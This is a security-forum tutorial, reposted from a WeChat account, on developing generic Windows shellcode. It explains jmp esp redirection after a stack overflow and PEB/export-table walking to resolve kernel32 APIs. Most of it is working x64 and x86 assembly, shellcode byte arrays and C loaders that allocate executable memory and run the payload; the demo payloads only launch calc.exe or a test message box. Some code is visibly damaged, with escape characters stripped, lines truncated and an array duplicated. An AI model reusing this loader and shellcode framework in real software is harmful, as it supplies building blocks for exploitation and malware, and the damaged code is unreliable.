本文为看雪论坛优秀文章
看雪论坛作者ID:Tray_PG
shellcode即一段植入进程的代码。
一
定位shellcode
jmp esp
-
实线体现了代码植入的流程:将返回地址淹没为我们手工查出的shellcode起始地址 0x0012FAF0,函数返回时,这个地址被弹入EIP寄存器中,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令执行。
-
虚线则点出了这样一个细节:在函数返回时候,ESP恰好只想栈帧中返回地址的后一个位置。
-
用内存中的任意一个jmp esp指令的地址覆盖函数的返回地址,而不是用原来的手工查询出的shellcode起始地址直接覆盖。
-
函数返回地址被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode。
-
由于ESP在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。
-
重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样,jmp esp指令执行过后会恰好跳进shellcode。
二
开发通用shellcode
环境:
操作系统: Windows 10 x64
编译器: vs 2019
定位shellcode使用API的原理
-
首先通过选择字GS在内存中找到当前存放着指向当前线程环境块TEB。在GS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。
-
线程环境块偏移位置为0x60的地方存放着指向进程环境块PEB的指针(即GS[0x30])。
-
进程环境块中偏移位置为0x18的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
-
PEB_LDR_DATA结构体偏移位置为0x20 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
-
模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernelbase.dll,第三个节点才是kernel32.dll。
-
找到属于kernel32.dll的结点后,在其基础上再偏移 0x20 就是 kernel32.dll在内存中的加载基地址。
-
从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
-
PE 头偏移 0x88 的地方存放着指向函数导出表的指针。
-
首先通过选择字FS在内存中找到当前存放着指向当前线程环境块TEB。在FS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。
-
线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针(即FS[0x30])。
-
进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
-
PEB_LDR_DATA结构体偏移位置为0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
-
模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。
-
找到属于kernel32.dll的结点后,在其基础上再偏移 0x08 就是 kernel32.dll在内存中的加载基地址。
-
从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
-
PE 头偏移 0x78 的地方存放着指向函数导出表的指针。
-
至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址,如图四所示。
代码实现
使用汇编生成shellcode
/*
Get kernel32.dll base address
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll
Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
add r10, r8 ; R10 = &AddressTable
Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
add r12, r8 ; R12 = &OrdinalTable
jmp short apis
Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller
apis: ; API Names to resolve addresses
WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address
UINT WinExec(
LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
);
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
calc.exe | String length : 8
push rax ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax ; RSP = "calc.exe",0x0
mov rcx, rsp ; RCX = "calc.exe",0x0
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)
*/
#include <windows.h>
void main() {
exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
Shellcode
unsigned char payload[] =
"x48x31xffx48xf7xe7x65x48x8bx58x60x48x8bx5bx18x48x8bx5bx20x48x8bx1bx48x8bx1bx48x8bx5bx20x49x89xd8x8b"
"x5bx3cx4cx01xc3x48x31xc9x66x81xc1xffx88x48xc1xe9x08x8bx14x0bx4cx01xc2x4dx31xd2x44x8bx52x1cx4dx01xc2"
"x4dx31xdbx44x8bx5ax20x4dx01xc3x4dx31xe4x44x8bx62x24x4dx01xc4xebx32x5bx59x48x31xc0x48x89xe2x51x48x8b"
"x0cx24x48x31xffx41x8bx3cx83x4cx01xc7x48x89xd6xf3xa6x74x05x48xffxc0xebxe6x59x66x41x8bx04x44x41x8bx04"
"x82x4cx01xc0x53xc3x48x31xc9x80xc1x07x48xb8x0fxa8x96x91xbax87x9ax9cx48xf7xd0x48xc1xe8x08x50x51xe8xb0"
"xffxffxffx49x89xc6x48x31xc9x48xf7xe1x50x48xb8x9cx9ex93x9cxd1x9ax87x9ax48xf7xd0x50x48x89xe1x48xffxc2"
"x48x83xecx20x41xffxd6";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
-1);
}
/*
start:
mov ebp, esp ; prologue
add esp, 0xfffff9f0 ; Add space int ESP to avoid clobbering
find_kernel32:
xor ecx, ecx ; ECX = 0
mov esi,fs:[ecx+0x30] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0x0C] ; ESI = PEB->Ldr
mov esi,[esi+0x1C] ; ESI = PEB->Ldr.InInitOrder
next_module:
mov ebx, [esi+0x08] ; EBX = InInitOrder[X].base_address
mov edi, [esi+0x20] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00 ?
jne next_module ; No: try next module
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the return address from the stack
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc:
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA for later
find_function_loop:
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our names counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ; NULL EAX
cdq ; NULL EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Check for NULL terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration
compute_hash_finished:
find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad
find_function_finished:
popad ; Restore registers
ret ;
resolve_symbols_kernel32:
push 0xe8afe98 ; WinExec hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save WinExec address for later usage
push 0x78b5b983 ; TerminateProcess hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save TerminateProcess address for later usage
create_calc_string:
xor eax, eax ; EAX = null
push eax ; Push null-terminated string
push dword 0x6578652e ;
push dword 0x636c6163 ;
push esp ; ESP = &(lpCmdLine)
pop ebx ; EBX save pointer to string
UINT WinExec(
LPCSTR lpCmdLine, -> EBX
UINT uCmdShow -> EAX
);
call_winexec:
xor eax, eax ; EAX = null
push eax ; uCmdShow
push ebx ; lpCmdLine
call dword ptr [ebp+0x10] ; Call WinExec
BOOL TerminateProcess(
HANDLE hProcess, -> 0xffffffff
UINT uExitCode -> EAX
);
terminate_process:
xor eax, eax ; EAX = null
push eax ; uExitCode
push 0xffffffff ; hProcess
call dword ptr [ebp+0x14] ; Call TerminateProcess
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Our WinExec PopCalc shellcode
unsigned char payload[] =
"x89xe5x81xc4xf0xf9xffxffx31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx5ex08x8bx7e"
"x20x8bx36x66x39x4fx18x75xf2xebx06x5ex89x75x04xebx54xe8xf5xffxffxffx60x8bx43"
"x3cx8bx7cx03x78x01xdfx8bx4fx18x8bx47x20x01xd8x89x45xfcxe3x36x49x8bx45xfcx8b"
"x34x88x01xdex31xc0x99xfcxacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x24x75"
"xdfx8bx57x24x01xdax66x8bx0cx4ax8bx57x1cx01xdax8bx04x8ax01xd8x89x44x24x1cx61"
"xc3x68x98xfex8ax0exffx55x04x89x45x10x68x83xb9xb5x78xffx55x04x89x45x14x31xc0"
"x50x68x2ex65x78x65x68x63x61x6cx63x54x5bx31xc0x50x53xffx55x10x31xc0x50x6axff"
"xffx55x14";
unsigned int payload_len = 178;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
Allocate a memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Copy payload to new buffer
payload, payload_len);
Make new buffer as executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
me!n");
Length: %dn", strlen(payload));
getchar();
If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
-1);
}
return 0;
}
使用C生成shellcode
-
使用vs创建一个空项目,这里以vs2019 x86 平台为例。
-
右键项目属性。我们需要修改release版本中的一些信息。如下
-
属性 -> C/C++ -> 代码生成 -> 安全检查->禁用安全检查 (/GS-)
-
属性 -> 链接器 -> 清单文件-> 生成清单-> 否 (/MANIFEST:NO)
-
属性 -> 链接器 -> 调试-> 生成调试信息-> 否
获取函数hash
这里所说的 hash 指的是 hash 算法,是一个运算过程。经过 hash 后得到的值将被称做摘要,即 digest,请注意。
DWORD GetHash(const char* fun_name)
{
DWORD digest = 0;
while (*fun_name)
{
digest = ((digest << 25) | (digest >> 7)); //循环右移 7 位
digest += *fun_name; //累加
fun_name++;
}
return digest;
}
void main()
{
DWORD hash;
hash = GetHash("GetProcAddress");
printf("result of hash is 0x%.8xn", hash);
}
提取shellcode
void main()
{
//the pointer of kernel32.dll base address
DWORD dwKernel32Addr = 0;
_asm {
push eax
mov eax, dword ptr fs:[0x30]
mov eax, [eax + 0x0C]
mov eax,[eax + 0x1C]
mov eax, [eax]
mov eax, [eax + 0x08]
mov dwKernel32Addr, eax
pop eax
}
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwKernel32Addr;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(dwKernel32Addr + pDosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDirectory = pNtHeader->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
PIMAGE_EXPORT_DIRECTORY pExportFuncTable = (PIMAGE_EXPORT_DIRECTORY)(dwKernel32Addr + pDataDirectory->VirtualAddress);
PDWORD pAddrOfFunc = (PDWORD)(pExportFuncTable->AddressOfFunctions + dwKernel32Addr);
PDWORD pAddrOfFuncNames = (PDWORD)(pExportFuncTable->AddressOfNames + dwKernel32Addr);
PWORD pAddrOfOrdinals = (PWORD)(pExportFuncTable->AddressOfNameOrdinals + dwKernel32Addr);
DWORD dwFuncGetProcAddress = 0;
for (size_t i = 0; i < pExportFuncTable->NumberOfNames; i++)
{
PCHAR lpFuncName = (PCHAR)(pAddrOfFuncNames[i] + dwKernel32Addr);
DWORD digest = 0;
while (*lpFuncName)
{
digest = ((digest << 25) | (digest >> 7));
digest += *lpFuncName;
lpFuncName++;
}
if (digest == 0xbbafdf85)//0xbbafdf85是经过自定义hash算法得到GetProcAddress函数的摘要
{
dwFuncGetProcAddress = pAddrOfFunc[pAddrOfOrdinals[i]] + dwKernel32Addr;
break;
}
}
/*
如果是弹窗弹窗,这里我们需要 : LoadLibraryExA、MessageBoxA、ExitProcess、user32.dll
*/
/*
定义函数指针GetProcAddress
*/
typedef FARPROC (WINAPI *funcGetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);
funcGetProcAddress pfuncGetProcAddress = (funcGetProcAddress)dwFuncGetProcAddress;
/*
LoadLibraryExA 函数指针获取
*/
typedef HMODULE (WINAPI *funcLoadLibraryExA)(
LPCSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);
//如果采用字符串模式,其字符串会被放入数据段,使用的每次加载地址都不一样,
char szLoadLibraryExA[] = { 'L','o','a','d','L','i','b','r','a','r','y','E','x','A',' ' };
char szUser32[] = { 'u','s','e','r','3','2','.','d','l','l',' ' };
char szMessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A',' ' };
char szExitProcess[] = { 'E','x','i','t','P','r','o','c','e','s','s',' ' };
funcLoadLibraryExA pfuncLoadLibraryExA = (funcLoadLibraryExA)(pfuncGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA));
/*
ExitProcess函数指针
*/
typedef VOID
(WINAPI *funcExitProcess)(
_In_ UINT uExitCode
);
funcExitProcess pfuncExitProcess = (funcExitProcess)(pfuncGetProcAddress((HMODULE)dwKernel32Addr, szExitProcess));
/*
* 加载user32.dll 和messagebox
*/
typedef int (WINAPI *funcMessageBoxA)(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType);
funcMessageBoxA pfuncMessageBoxA = (funcMessageBoxA)(pfuncGetProcAddress((HMODULE)(pfuncLoadLibraryExA(szUser32, NULL, NULL)), szMessageBoxA));
char szContext[] = {'t','h','i','s',' ','i','s',' ','a',' ','t','e','s','t',' ' };
char szTitle[] = { 't','e','s','t',' ' };
pfuncMessageBoxA(NULL, szContext, szTitle, MB_OK);
pfuncExitProcess(0);
}
unsigned char hexData[351] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,
0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,
0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,
0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,
0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,
0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,
0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,
0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,
0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,
0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,
0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,
0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,
0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,
0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,
0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,
0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,
0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,
0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,
0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,
0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,
0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,
0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,
0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,
0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,
0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,
0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,
0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,
0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,
0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,
0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,
0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,
0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,
0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,
0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,
0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,
0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,
0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,
0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,
0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,
0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45,
0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,
0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,
0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,
0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3
};
unsigned char hexData[351] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,
0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,
0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,
0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,
0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,
0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,
0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,
0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,
0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,
0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,
0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,
0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,
0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,
0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,
0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,
0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,
0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,
0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,
0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,
0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,
0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,
0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,
0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,
0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,
0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,
0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,
0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,
0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,
0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,
0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,
0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,
0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,
0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,
0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,
0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,
0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,
0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,
0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,
0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,
0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45,
0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,
0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,
0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,
0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3
};
void main()
{
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
unsigned int payload_len =351;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, hexData, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
看雪ID:Tray_PG
https://bbs.kanxue.com/user-home-879928.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):通用shellcode开发原理与实践